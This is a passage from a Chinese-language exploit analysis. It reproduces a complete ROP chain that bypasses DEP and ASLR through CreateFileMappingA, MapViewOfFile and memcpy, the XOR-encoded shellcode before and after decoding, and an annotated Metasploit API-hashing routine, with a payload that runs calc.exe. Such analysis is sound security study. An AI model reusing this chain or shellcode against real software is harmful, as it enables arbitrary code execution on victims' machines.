0x4a842db2, # xchg eax,edi / ret ; edi=0x0012E718,eax=0x00000304,eax<->edi,edi保存返回值,文件句柄

0x4a802ab1, # pop ebx / ret
0x00000008, # becomes ebx - offset to modify ; ebx=0x8,要修改位置的偏移

#
# This points at a neat-o block of code that ... TBD
#
# and [esp+ebx*2],edi ; 应该只是用这句指令修改下一步要调用的函数的参数
# jne check_slash
# ret_one:
# mov al,1
# ret
# check_slash:
# cmp al,0x2f
# je ret_one
# cmp al,0x41
# jl check_lower
# cmp al,0x5a
# jle check_ptr
# check_lower:
# cmp al,0x61
# jl ret_zero
# cmp al,0x7a
# jg ret_zero
# cmp [ecx+1],0x3a
# je ret_one
# ret_zero:
# xor al,al
# ret
#
# 0x4A80A8A6 ; and dword ptr ss:[esp+ebx*2],edi(修改CreateFileMappingA第一个参数为调用CreateFileA返回的文件句柄)
0x4a80a8a6, # execute fun block

0x4a801f90, # pop eax / ret
0x4a849038, # becomes eax (import for CreateFileMappingA) ; CreateFileMappingA()在输入表中表项的地址

# -- call CreateFileMappingA
# 创建或打开指定文件的命名或未命名文件映射对象。
0x4a80b692, # jmp [eax] ; 调用CreateFileMappingA()
# 这里用一条ret指令的地址,使程序执行流转到下一个ROPgadget(0x4a8063a5)执行,栈平衡是由CreateFileMappingA()完成的。
0x4a801064, # ret ; CreateFileMappingA()的返回地址
0xffffffff, # first arg - hFile ; CreateFileA返回的文件句柄
0x00000000, # second arg - lpAttributes
0x00000040, # third arg - flProtect
0x00000000, # fourth arg - dwMaximumSizeHigh
0x00010000, # fifth arg - dwMaximumSizeLow
0x00000000, # sixth arg - lpName

0x4a8063a5, # pop ecx / ret
0x4a801064, # becomes ecx ; ecx=0x4a801064,ret指令地址

0x4a842db2, # xchg eax,edi / ret ; edi=0x00000304,eax=0x00000320,edi<->eax,edi保存返回值(0x320,文件映射对象的句柄。)

0x4a802ab1, # pop ebx / ret
0x00000008, # becomes ebx - offset to modify ; ebx=0x8,要修改位置的偏移

# 0x4A80A8A6 ; and dword ptr ss:[esp+ebx*2],edi(修改MapViewOfFile第一个参数为调用CreateFileMappingA返回的文件映射对象的句柄)
0x4a80a8a6, # execute fun block

0x4a801f90, # pop eax / ret
0x4a849030, # becomes eax (import for MapViewOfFile) ; MapViewOfFile()在输入表中表项的地址

# -- call MapViewOfFile
# 将一个文件映射对象映射到当前应用程序的地址空间。
0x4a80b692, # jmp [eax] ; 调用MapViewOfFile()
0x4a801064, # ret ; MapViewOfFile()的返回地址
0xffffffff, # first arg - hFileMappingObject ; CreateFileMappingA返回的文件映射对象的句柄
0x00000022, # second arg - dwDesiredAccess
0x00000000, # third arg - dwFileOffsetHigh
0x00000000, # fourth arg - dwFileOffsetLow
0x00010000, # fifth arg - dwNumberOfBytesToMap

0x4a8063a5, # pop ecx / ret
0x4a8a0004, # becomes ecx - writable pointer ; ecx=0x4a8a0004,可写指针,用于保存文件映射基地址的指针

0x4a802196, # mov [ecx],eax / ret - save map base addr ; [ecx]=[0x4a8a0004]=eax=0x03550000,保存文件映射基地址

0x4a8063a5, # pop ecx / ret
0x4a801064, # becomes ecx - ptr to ret ; ecx=0x4a801064,ret指令地址

0x4a842db2, # xchg eax,edi / ret ; eax=0x03550000,edi=0x320,eax<->edi,edi保存返回值(0x03550000,文件映射基地址)

0x4a802ab1, # pop ebx / ret
0x00000030, # becomes ebx - offset to modify ; ebx=0x30,要修改位置的偏移

# 0x4A80A8A6 ; and dword ptr ss:[esp+ebx*2],edi(修改memcpy返回地址为调用MapViewOfFile返回的文件映射基地址)
0x4a80a8a6, # execute fun block

0x4a801f90, # pop eax / ret
0x4a8a0004, # becomes eax - saved file mapping ptr ; eax=0x4a8a0004,保存文件映射基地址的指针

0x4a80a7d8, # mov eax,[eax] / ret - load saved mapping ptr ; eax=[eax]=0x03550000,取文件映射基地址

0x4a8063a5, # pop ecx / ret
0x4a801064, # becomes ecx - ptr to ret ; ecx=0x4a801064,ret指令地址

0x4a842db2, # xchg eax,edi / ret ; eax=0x03550000,edi=0x03550000,eax<->edi(0x03550000,文件映射基地址)

0x4a802ab1, # pop ebx / ret
0x00000020, # becomes ebx - offset to modify ; ebx=0x20,要修改位置的偏移

# 0x4A80A8A6 ; and dword ptr ss:[esp+ebx*2],edi(修改memcpy第一个参数为调用MapViewOfFile返回的文件映射基地址)
0x4a80a8a6, # execute fun block

0x4a8063a5, # pop ecx / ret
0x4a801064, # becomes ecx - ptr to ret ; ecx=0x4a801064,ret指令地址

# lea edx,dword ptr ss:[esp+0xC] ; edx为0x4a8063a5的地址,edx=0x0C0C0D20,esp=0x0C0C0D14(0x4a801f90),主要语句
# push edx ; edx=0x0C0C0D20
# push eax ; eax=0x03550000
# push dword ptr ss:[esp+0xC] ; [esp+0xC]=[0x0C0C0D0C+0xC]=[0x0C0C0D18]=0x34
# push dword ptr ds:[0x4A8A093C] ; [0x4A8A093C]=0x0
# call ecx ; ecx=0x4a801064,ret指令地址
# add esp,0x10 ; esp=esp+0x10=0x0C0C0D04+0x10=0x0C0C0D14(0x4a801f90)
# retn ;
0x4a80aedc, # lea edx,[esp+0xc] / push edx / push eax / push [esp+0xc] / push [0x4a8a093c] / call ecx / add esp, 0x10 / ret

0x4a801f90, # pop eax / ret
0x00000034, # becomes eax ; eax=0x00000034,真正shellcode的地址相对ROPgadget(0x4a8063a5)的偏移

0x4a80d585, # add eax,edx / ret ; eax=eax+edx=0x34+0x0C0C0D20(0x4a8063a5)=0x0C0C0D54(真正shellcode的地址)

0x4a8063a5, # pop ecx / ret
0x4a801064, # becomes ecx - ptr to ret ; ecx=0x4a801064,ret指令地址

0x4a842db2, # xchg eax,edi / ret ; eax=0x0C0C0D54,edi=0x03550000,eax<->edi,edi保存真正shellcode的地址(eax=0x03550000,edi=0x0C0C0D54)

0x4a802ab1, # pop ebx / ret
0x0000000a, # becomes ebx - offset to modify ; ebx=0xa,要修改位置的偏移

# 0x4A80A8A6 ; and dword ptr ss:[esp+ebx*2],edi(修改memcpy第二个参数为计算出的真正shellcode的地址)
0x4a80a8a6, # execute fun block

0x4a801f90, # pop eax / ret
0x4a849170, # becomes eax (import for memcpy) ; memcpy()在输入表中表项的地址

# -- call memcpy
0x4a80b692, # jmp [eax]
# memcpy的返回地址,由函数块0x4a80a8a6修改,被修改为真正shellcode的地址
0xffffffff, # this stuff gets overwritten by the block at 0x4a80aedc, becomes ret from memcpy
0xffffffff, # becomes first arg to memcpy (dst) ; 0x03550000,文件映射基地址
0xffffffff, # becomes second arg to memcpy (src) ; 0x0C0C0D54,真正shellcode的地址
0x00001000, # becomes third arg to memcpy (length) ; 复制长度

# 这后面就是经过编码的shellcode的内容
].pack('V*')

我们可以看到调用了四个函数,CreateFileA()CreateFileMappingA()MapViewOfFile()memcpy()。调用createFileA()函数时参数如下:

1
2
3
4
5
6
7
8
9
; 功能:创建一个文件或设备
0C0C0C24 4A801064 +-CALL 到 CreateFileA
0C0C0C28 4A8522C8 | FileName = "iso88591" ; 创建一个名为iso88591的文件。
0C0C0C2C 10000000 | Access = GENERIC_ALL ; 此文件访问权限为可读可写可执行。
0C0C0C30 00000000 | ShareMode = 0 ; 共享模式,0:阻止其他进程在请求删除,读取或写入访问权限时打开文件或设备。
0C0C0C34 00000000 | pSecurity = NULL ; 此参数为NULL,则CreateFile返回的句柄,不能由应用程序可能创建的任何子进程继承,并且与返回的句柄关联的文件或设备将获取默认安全描述符。
0C0C0C38 00000002 | Mode = CREATE_ALWAYS ; 始终创建一个新文件。
0C0C0C3C 00000102 | Attributes = HIDDEN|TEMPORARY ; 文件属性:隐藏文件|临时文件
0C0C0C40 00000000 +-hTemplateFile = NULL ; hTemplateFile为一个文件或设备句柄,表示按这个参数给出的句柄为模板创建文件。通常这个参数设置为NULL,为空表示不使用模板,一般为空。

调用CreateFileMappingA()时的参数如下:

1
2
3
4
5
6
7
8
; 功能:创建文件映射内核对象,文件与物理页映射
0C0C0C68 4A801064 +-CALL 到 CreateFileMappingA
0C0C0C6C 0000036C | hFile = 0000036C ; 文件的句柄,用于创建文件映射对象的文件。CreateFileA的返回值。
0C0C0C70 00000000 | pSecurity = NULL ; 指向SECURITY_ATTRIBUTES 结构的指针,该结构确定子进程是否可以继承返回的句柄。指定一个安全对象,在创建文件映射时使用。如果为NULL(用ByVal As Long传递零),表示使用默认安全对象。
0C0C0C74 00000040 | Protection = PAGE_EXECUTE_READWRITE ; 指定文件映射对象的页面保护。对象的所有映射视图必须与此保护兼容。必须使用GENERIC_READ、GENERIC_WRITE和GENERIC_EXECUTE访问权限创建hFile参数指定的文件句柄。
0C0C0C78 00000000 | MaximumSizeHigh = 0x0 ; 文件映射的最大长度的高32位。
0C0C0C7C 00010000 | MaximumSizeLow = 0x10000 ; 文件映射的最大长度的低32位。
0C0C0C80 00000000 +-MapName = NULL ; 指定文件映射对象的名字。如果此参数为NULL,则创建没有名称的文件映射对象。

调用MapViewOfFile()时的参数如下:

1
2
3
4
5
6
7
; 功能:将一个文件映射对象映射到当前应用程序的地址空间。将物理页与进程虚拟地址进行映射。
0C0C0CA8 4A801064 +-CALL 到 MapViewOfFile
0C0C0CAC 00000370 | hMapObject = 00000370 ; CreateFileMappingA()返回的文件映射对象句柄。
0C0C0CB0 00000022 | AccessMode = 0x22 ; 对文件映射对象的访问类型,它决定了页面的保护。
0C0C0CB4 00000000 | OffsetHigh = 0x0 ; 表示文件映射起始偏移的高32位.
0C0C0CB8 00000000 | OffsetLow = 0x0 ; 表示文件映射起始偏移的低32位.
0C0C0CBC 00010000 +-MapSize = 10000 (65536.) ; 指定映射文件的字节数

执行完,进程内存中会多一块这样的内存块

1
2
3
4
5
6
7
8
地址=03EA0000
大小=00010000 (65536.)
属主=03EA0000 (自身)
区段=
类型=Map 00041040
访问=RWE
初始访问=RWE
已映射为=\Device\HarddiskVolume1\Documents and Settings\******\桌面\iso88591

调用memcopy()时的参数如下:

1
2
3
4
5
; 功能:内存拷贝
0C0C0D44 03EA0000 +-CALL 到 memcpy
0C0C0D48 03EA0000 | dest = 03EA0000 ; 目的dest内存地址,文件映射基地址
0C0C0D4C 0C0C0D54 | src = 0C0C0D54 ; 源src内存地址,真正shellcode的地址
0C0C0D50 00001000 +-n = 1000 (4096.) ; 拷贝字节数

  最后调用memcopy的时候,目的地址就是前面MapViewOfFile()返回的文件映射基地址,而源地址就是真正的shellcode代码,将它复制到一段可执行可读写的内存段,以此绕过DEP。由于构造的ROP指令均位于不受ASLR保护的icucnv36.dll模块,因此也可以绕过ASLR保护。正是由于DEP的存在,所以堆栈空间是不存在可执行权限的,所以,我们需要创建一个文件映射对象,将其映射可读可写可执行的内存块,再把shellcode拷贝到那里,就可以执行了。

3、阶段3:执行shellcode

  Heap Spary中使用的shellcode是经过编码的(payload.encoded)。经过分析,shellcode是通过XOR进行编码的,所以会首先执行XOR解码,然后再执行真正的shellcode功能。
解码前:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
; 内存:
;....0000 BA 6D A5 42 5E DD C4 D9 74 24 F4 5D 31 C9 B1 31 簃^菽賢$鬩1杀1
;....0010 83 C5 04 31 55 0F 03 55 62 47 B7 A2 94 05 38 5B 兣1UUbG发?8[
;....0020 64 6A B0 BE 55 AA A6 CB C5 1A AC 9E E9 D1 E0 0A dj熬U伺瑸檠?
;....0030 7A 97 2C 3C CB 12 0B 73 CC 0F 6F 12 4E 52 BC F4 z?<? s?oNR剪
;....0040 6F 9D B1 F5 A8 C0 38 A7 61 8E EF 58 06 DA 33 D2 o澅酲?庯X?
;....0050 54 CA 33 07 2C ED 12 96 27 B4 B4 18 E4 CC FC 02 T?,??创涮?
;....0060 E9 E9 B7 B9 D9 86 49 68 10 66 E5 55 9D 95 F7 92 殚饭賳Ihf錟潟鲯
;....0070 19 46 82 EA 5A FB 95 28 21 27 13 AB 81 AC 83 17 F傟Z麜(!'珌瑑
;....0080 30 60 55 D3 3E CD 11 BB 22 D0 F6 B7 5E 59 F9 17 0`U???婿穅Y?
;....0090 D7 19 DE B3 BC FA 7F E5 18 AC 80 F5 C3 11 25 7D ?蕹贱?瑎趺%}
;....00A0 E9 46 54 DC 67 98 EA 5A C5 9A F4 64 79 F3 C5 EF 镕T躦橁Z艢鬱y笈
;....00B0 16 84 D9 25 53 7A 90 64 F5 13 7D FD 44 7E 7E 2B 勝%Sz恉?}鼶~~+
;....00C0 8A 87 FD DE 72 7C 1D AB 77 38 99 47 05 51 4C 68 妵r|玾8橤QLh
;....00D0 BA 52 45 0B 5D C1 05 E2 F8 61 AF FA 0C 0C 0C 0C 篟E ]?怿a....
;....00E0 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C ................
;....00F0 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C ................

; 反汇编:
; 异或解密流程:以0x5E42A56D为基础异或key,异或待解密数据的第一个双字,将异或的结果与0x5E42A56D相加,得到下一个双字的异或key,以此类推,ecx=ecx-0x1,直至ecx=0,退出循环。
....0000 BA 6DA5425E mov edx,0x5E42A56D ; edx=0x5E42A56D,异或数
....0005 DDC4 ffree st(4) ;
....0007 D97424 F4 fstenv (28-byte) ptr ss:[esp-0xC] ; 保存FPU环境,0x0C0C0D3C-0x0C0C0D58
....000B 5D pop ebp ; ebp=0x....0005
....000C 31C9 xor ecx,ecx ; ecx=0x0
....000E B1 31 mov cl,0x31 ; cl=0x31=49,异或数据(49个双字)
....0010 83C5 04 add ebp,0x4 ; ebp=0x....0005+0x4=0x....0009
....0013 3155 0F xor dword ptr ss:[ebp+0xF],edx ; [ebp+0xf]=[0x....0018]=0xA2B74762,异或解密0x18-0xDB的代码
....0016 0355 62 add edx,dword ptr ss:[ebp+0x62]
....0019 47 inc edi
....001A B7 A2 mov bh,0xA2
....001C 94 xchg eax,esp
....001D 05 385B646A add eax,0x6A645B38
....0022 B0 BE mov al,0xBE
....0024 55 push ebp
....0025 AA stos byte ptr es:[edi]
....0026 A6 cmps byte ptr ds:[esi],byte ptr es:[edi]
....0027 cb retf
....0028 c51a lds ebx,fword ptr ds:[edx]
....002A AC lods byte ptr ds:[esi]
....002B 9E sahf
....002C - E9 D1E00A7A jmp 7E2BE102
....0031 97 xchg eax,edi
....0032 2C 3C sub al,0x3C
....0034 cb retf
....0035 120B adc cl,byte ptr ds:[ebx]
....0037 ^ 73 CC jnb short ....0005
....0039 0F6F12 movq mm2,qword ptr ds:[edx]
....003C 4E dec esi
....003D 52 push edx
....003E BC F46F9DB1 mov esp,0xB19D6FF4
....0043 F5 cmc
....0044 A8 C0 test al,0xC0
....0046 38A7 618EEF58 cmp byte ptr ds:[edi+0x58EF8E61],ah
....004C 06 push es
....004D DA33 fidiv dword ptr ds:[ebx]
....004F D254CA 33 rcl byte ptr ds:[edx+ecx*8+0x33],cl
....0053 07 pop es
....0054 2C ED sub al,0xED
....0056 1296 27B4B418 adc dl,byte ptr ds:[esi+0x18B4B427]
....005C e4 cc in al,0xcc
....005E FC cld
....005F 02E9 add ch,cl
....0061 - E9 B7B9D986 jmp 8AFABA1D
....0066 49 dec ecx
....0067 68 1066E555 push 0x55E56610
....006C 9D popfd
....006D 95 xchg eax,ebp
....006E F792 194682EA not dword ptr ds:[edx-0x157DB9E7]
....0074 5A pop edx
....0075 FB sti
....0076 95 xchg eax,ebp
....0077 2821 sub byte ptr ds:[ecx],ah
....0079 27 daa
....007A 13AB 81AC8317 adc ebp,dword ptr ds:[ebx+0x1783AC81]
....0080 3060 55 xor byte ptr ds:[eax+0x55],ah
....0083 D33E sar dword ptr ds:[esi],cl
....0085 CD 11 int 0x11
....0087 BB 22D0F6B7 mov ebx,0xB7F6D022
....008C 5E pop esi
....008D 59 pop ecx
....008E F9 stc
....008F 17 pop ss
....0090 D7 xlat byte ptr ds:[ebx+al]
....0091 19DE sbb esi,ebx
....0093 B3 BC mov bl,0xBC
....0095 FA cli
....0096 ^ 7F E5 jg short ....007D
....0098 18AC80 F5C31125 sbb byte ptr ds:[eax+eax*4+0x2511C3F5],c>
....009F ^ 7D E9 jge short ....008A
....00A1 46 inc esi
....00A2 54 push esp
....00A3 DC67 98 fsub qword ptr ds:[edi-0x68]
....00A6 ea 5ac59af4 647>jmp far 7964:0f49ac55a
....00AD f3 rep
....00AE c5 db c5
....00AF ef out dx,eax
....00B0 16 push ss
....00B1 84D9 test cl,bl
....00B3 25 537A9064 and eax,0x64907A53
....00B8 F5 cmc
....00B9 137D FD adc edi,dword ptr ss:[ebp-0x3]
....00BC 44 inc esp
....00BD 7E 7E jle short ....013D
....00BF 2B8A 87FDDE72 sub ecx,dword ptr ds:[edx+0x72DEFD87]
....00C5 7C 1D jl short ....00E4
....00C7 AB stos dword ptr es:[edi]
....00C8 77 38 ja short ....0102
....00CA 99 cdq
....00CB 47 inc edi
....00CC 05 514C68BA add eax,0xBA684C51
....00D1 52 push edx
....00D2 45 inc ebp
....00D3 0B5D C1 or ebx,dword ptr ss:[ebp-0x3F]
....00D6 05 E2F861AF add eax,0xAF61F8E2
....00DB FA cli
....00DC 0C 0C or al,0xC
....00DE 0C 0C or al,0xC
....00E0 0C 0C or al,0xC
....00E2 0C 0C or al,0xC
....00E4 0C 0C or al,0xC
....00E6 0C 0C or al,0xC

解码后:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
; 内存:
;....0000 BA 6D A5 42 5E DD C4 D9 74 24 F4 5D 31 C9 B1 31 簃^菽賢$鬩1杀1
;....0010 83 C5 04 31 55 0F 03 55 0F E2 F5 FC E8 82 00 00 兣1UU怩?.
;....0020 00 60 89 E5 31 C0 64 8B 50 30 8B 52 0C 8B 52 14 .`夊1纃婸0婻.婻
;....0030 8B 72 28 0F B7 4A 26 31 FF AC 3C 61 7C 02 2C 20 媟(稪&1?a|,
;....0040 C1 CF 0D 01 C7 E2 F2 52 57 8B 52 10 8B 4A 3C 8B 料.氢騌W婻婮<
;....0050 4C 11 78 E3 48 01 D1 51 8B 59 20 01 D3 8B 49 18 Lx鉎裃媃 計I
;....0060 E3 3A 49 8B 34 8B 01 D6 31 FF AC C1 CF 0D 01 C7 ?I????
;....0070 38 E0 75 F6 03 7D F8 3B 7D 24 75 E4 58 8B 58 24 8鄒?}?}$u鋁媂$
;....0080 01 D3 66 8B 0C 4B 8B 58 1C 01 D3 8B 04 8B 01 D0 觙?K媂計?
;....0090 89 44 24 24 5B 5B 61 59 5A 51 FF E0 5F 5F 5A 8B 塂$$[[aYZQ郷_Z
;....00A0 12 EB 8D 5D 6A 01 8D 85 B2 00 00 00 50 68 31 8B 雿]j崊?..Ph1
;....00B0 6F 87 FF D5 BB F0 B5 A2 56 68 A6 95 BD 9D FF D5 o?栈鸬h綕
;....00C0 3C 06 7C 0A 80 FB E0 75 05 BB 47 13 72 6F 6A 00 <|.€u籊roj.
;....00D0 53 FF D5 63 61 6C 63 2E 65 78 65 00 0C 0C 0C 0C S誧alc.exe.....
;....00E0 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C ................
;....00F0 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C ................

; 反汇编:
....0000 BA 6DA5425E mov edx,0x5E42A56D ; edx=0x5E42A56D,异或数
....0005 DDC4 ffree st(4) ;
....0007 D97424 F4 fstenv (28-byte) ptr ss:[esp-0xC] ; 保存FPU环境,0x0C0C0D3C-0x0C0C0D58
....000B 5D pop ebp ; ebp=0x....0005
....000C 31C9 xor ecx,ecx ; ecx=0x0
....000E B1 31 mov cl,0x31 ; cl=0x31=49,49个双字待异或解密数据
....0010 83C5 04 add ebp,0x4 ; ebp=0x....0005+0x4=0x....0009
....0013 3155 0F xor dword ptr ss:[ebp+0xF],edx ; [ebp+0xf]=[0x....0018]=0xA2B74762,异或解密0x18-0xDB的代码
....0016 0355 0F add edx,dword ptr ss:[ebp+0xF] ; edx=edx+[ebp+0xf]=0x5E42A56D+0xFCF5E20F=0x5B38877C
....0019 ^ E2 F5 loopd short ....0010 ; 跳转到0x....0010,ecx=ecx-1
-----------------------------------------------------------------------------------------------------------------------------
....001B FC cld ; 方向标志位DF清零,lodsb指令根据DF改变esi
....001C E8 82000000 call ....00A3 ; 返回地址为0x....0021
....0021 60 pushad
....0022 89E5 mov ebp,esp
....0024 31C0 xor eax,eax
....0026 64:8B50 30 mov edx,dword ptr fs:[eax+0x30]
....002A 8B52 0C mov edx,dword ptr ds:[edx+0xC]
....002D 8B52 14 mov edx,dword ptr ds:[edx+0x14]
....0030 8B72 28 mov esi,dword ptr ds:[edx+0x28]
....0033 0FB74A 26 movzx ecx,word ptr ds:[edx+0x26]
....0037 31FF xor edi,edi ---+
....0039 AC lods byte ptr ds:[esi] |
....003A 3C 61 cmp al,0x61 |
....003C 7C 02 jl short ....0040 | 计算dll名称hash
....003E 2C 20 sub al,0x20 |
....0040 C1CF 0D ror edi,0xD |
....0043 01C7 add edi,eax |
....0045 ^ E2 F2 loopd short ....0039 ---+
....0047 52 push edx
....0048 57 push edi
....0049 8B52 10 mov edx,dword ptr ds:[edx+0x10]
....004C 8B4A 3C mov ecx,dword ptr ds:[edx+0x3C]
....004F 8B4C11 78 mov ecx,dword ptr ds:[ecx+edx+0x78]
....0053 E3 48 jecxz short ....009D
....0055 01D1 add ecx,edx
....0057 51 push ecx
....0058 8B59 20 mov ebx,dword ptr ds:[ecx+0x20]
....005B 01D3 add ebx,edx
....005D 8B49 18 mov ecx,dword ptr ds:[ecx+0x18]
....0060 E3 3A jecxz short ....009C
....0062 49 dec ecx
....0063 8B348B mov esi,dword ptr ds:[ebx+ecx*4]
....0066 01D6 add esi,edx
....0068 31FF xor edi,edi ---+
....006A AC lods byte ptr ds:[esi] |
....006B C1CF 0D ror edi,0xD |
....006E 01C7 add edi,eax | 计算函数名hash
....0070 38E0 cmp al,ah |
....0072 ^ 75 F6 jnz short ....006A ---+
....0074 037D F8 add edi,dword ptr ss:[ebp-0x8] | api_hash = dll_name_hash + func_name_hash
....0077 3B7D 24 cmp edi,dword ptr ss:[ebp+0x24] |
....007A ^ 75 E4 jnz short ....0060 ---+
....007C 58 pop eax
....007D 8B58 24 mov ebx,dword ptr ds:[eax+0x24]
....0080 01D3 add ebx,edx
....0082 66:8B0C4B mov cx,word ptr ds:[ebx+ecx*2]
....0086 8B58 1C mov ebx,dword ptr ds:[eax+0x1C]
....0089 01D3 add ebx,edx
....008B 8B048B mov eax,dword ptr ds:[ebx+ecx*4]
....008E 01D0 add eax,edx
....0090 894424 24 mov dword ptr ss:[esp+0x24],eax
....0094 5B pop ebx
....0095 5B pop ebx
....0096 61 popad
....0097 59 pop ecx
....0098 5A pop edx
....0099 51 push ecx
....009A ^ FFE0 jmp eax ; 调用查找到的所需api函数
....009C 5F pop edi
....009D 5F pop edi
....009E 5A pop edx
....009F 8B12 mov edx,dword ptr ds:[edx]
....00A1 ^ EB 8D jmp short ....0030
-----------------------------------------------------------------------------------------------------------------------------
....00A3 5D pop ebp ; ebp=0x....0021
....00A4 6A 01 push 0x1
....00A6 8D85 B2000000 lea eax,dword ptr ss:[ebp+0xB2] ; eax=ebp+0xB2=0x....0021+0xB2=0x....00D3(calc.exe)
....00AC 50 push eax
....00AD 68 318B6F87 push 0x876F8B31 ; WinExec(kernel32.dll),通过hash算法算出的api_hash
....00B2 FFD5 call ebp
....00B4 BB F0B5A256 mov ebx,0x56A2B5F0 ; ExitProcess(kernel32.dll)
....00B9 68 A695BD9D push 0x9DBD95A6 ; GetVersion(kernel32.dll)
....00BE FFD5 call ebp
....00C0 3C 06 cmp al,0x6
....00C2 7C 0A jl short ....00CE
....00C4 80FB E0 cmp bl,0xE0
....00C7 75 05 jnz short ....00CE
....00C9 BB 4713726F mov ebx,0x6F721347 ; RtlExitUserThread(ntdll.dll)
....00CE 6A 00 push 0x0
....00D0 53 push ebx
....00D1 FFD5 call ebp
-----------------------------------------------------------------------------------------------------------------------------
....00D3 6361 6C arpl word ptr ds:[ecx+0x6C],sp ; "calc.exe\x00"
....00D6 632E arpl word ptr ds:[esi],bp
....00D8 65:78 65 js short 03d10140
....00DB 000C0C add byte ptr ss:[esp+ecx],cl
....00DE 0C 0C or al,0xC
....00E0 0C 0C or al,0xC
....00E2 0C 0C or al,0xC
....00E4 0C 0C or al,0xC
....00E6 0C 0C or al,0xC
....00E8 0C 0C or al,0xC

  解码完shellcode,然后通过TEBPEB等结构计算出WinExec()函数的地址,调用WinExec("calc.exe",0x1)弹出计算器。计算库函数API地址的shellcode使用的是metasploit-framework中的block_api.asm,此版本为最新版本,近期更新过,与样本中的有些许差别。其具体原理准备重新写一篇文章,这篇就不介绍了,下面的注释写的已经很清楚了。其功能如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
;-----------------------------------------------------------------------------;
; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
; Compatible: NT4 and newer
; Architecture: x86
; Size: 140 bytes
;-----------------------------------------------------------------------------;

; [BITS16]表示这个段是按照16位进行编译的,代码地址(比如一个label)都是16位的;[BITS32]表示编译时这个段中指令的地址都是32位的。
[BITS 32]

; Input: The hash of the API to call and all its parameters must be pushed onto stack.
; 输入:要调用的API的hash以及其参数都要布置在栈上。
; Output: The return value from the API call will be in EAX.
; 输出:API调用的返回值将存储在EAX中。
; Clobbers: EAX, ECX and EDX (ala the normal stdcall calling convention)
; Clobbers: EAX, ECX and EDX.汇编中被使用的寄存器的列表(一般的stdcall调用约定)
; Un-Clobbered: EBX, ESI, EDI, ESP and EBP can be expected to remain un-clobbered.
; Un-Clobbered: 预计EBX,ESI,EDI,ESP和EBP不会受到干扰.asm程序外使用这些寄存器,不会受到影响
; Note: This function assumes the direction flag has allready been cleared via a CLD instruction.
; 注意:此函数假定方向标志(DF)已通过CLD指令清除。lodsb指令与其有关。
; Note: This function is unable to call forwarded exports.
; 注意:此函数不能被转发导出

api_call:
pushad ; 我们为调用者保留所有的寄存器,eax和ecx除外。
mov ebp, esp ; 创建新的栈帧
xor edx, edx ; edx=0x0
mov edx, [fs:edx+0x30] ; 获得PEB的指针
mov edx, [edx+0xc] ; PEB->Ldr,_PEB_LDR_DATA结构体的指针
mov edx, [edx+0x14] ; 从InMemoryOrderModuleList获取第一个模块,_PEB_LDR_DATA->InMemoryOrderModuleList(_LDR_DATA_TABLE_ENTRY->InMemoryOrderLinks)
next_mod: ;
mov esi, [edx+0x28] ; 获取modules名字的指针(unicode字符串),_LDR_DATA_TABLE_ENTRY->BaseDllName->Buffer
movzx ecx, word [edx+0x26] ; 将ECX设置为我们要检查的长度,_LDR_DATA_TABLE_ENTRY->BaseDllName->MaximumLength
xor edi, edi ; 清除EDI,它将存储modules名字的hash
loop_modname: ;
xor eax, eax ; 清除EAX
lodsb ; 读入名称的一个字节至al,esi=esi+1(DF=0)
cmp al, 'a' ; 一些版本的Windows使用小写modules名字
jl not_lowercase ; 不是小写的情况
sub al, 0x20 ; 如果modules名字使用的是小写,则归一化为大写
not_lowercase: ;
ror edi, 0xd ; 循环右移我们的hash值
add edi, eax ; 加上读入的名称的当前字节
dec ecx ; 长度减1
jnz loop_modname ; 循环,直到长度为0
; 现在,我们已经计算出了modules名字的hash
push edx ; 将modules list的当前位置保存(_LDR_DATA_TABLE_ENTRY->InMemoryOrderLinks),以备后用
push edi ; 保存当前modules的hash,以备后用
; 继续迭代导出地址表
mov edx, [edx+0x10] ; 获得此modules基地址,_LDR_DATA_TABLE_ENTRY->InMemoryOrderLinks+0x10=_LDR_DATA_TABLE_ENTRY->DllBase
mov eax, [edx+0x3c] ; 获得PE header偏移,e_flanew
add eax, edx ; 加上modules基地址,得到PE header的虚拟地址
mov eax, [eax+0x78] ; 获得导出表(Export Directory)的RVA,_IMAGE_EXPORT_DIRECTORY结构体指针
test eax, eax ; 测试是否不存在导出表
jz get_next_mod1 ; 如果导出表不存在,处理下一个模块
add eax, edx ; 加上modules基地址,得到导出表(Export Directory)的虚拟地址
push eax ; 保存当前modules导出表(Export Directory)的虚拟地址
mov ecx, [eax+0x18] ; 获取以名称导出的函数总数,_IMAGE_EXPORT_DIRECTORY->NumberOfNames
mov ebx, [eax+0x20] ; 获取函数名表的RVA,_IMAGE_EXPORT_DIRECTORY->AddressOfNames
add ebx, edx ; 加上modules基地址,得到函数名表的虚拟地址
; 计算模块哈希+函数哈希
get_next_func: ;
test ecx, ecx ; 从jecxz更改,以适应下面的随机jmp产生的较大偏移
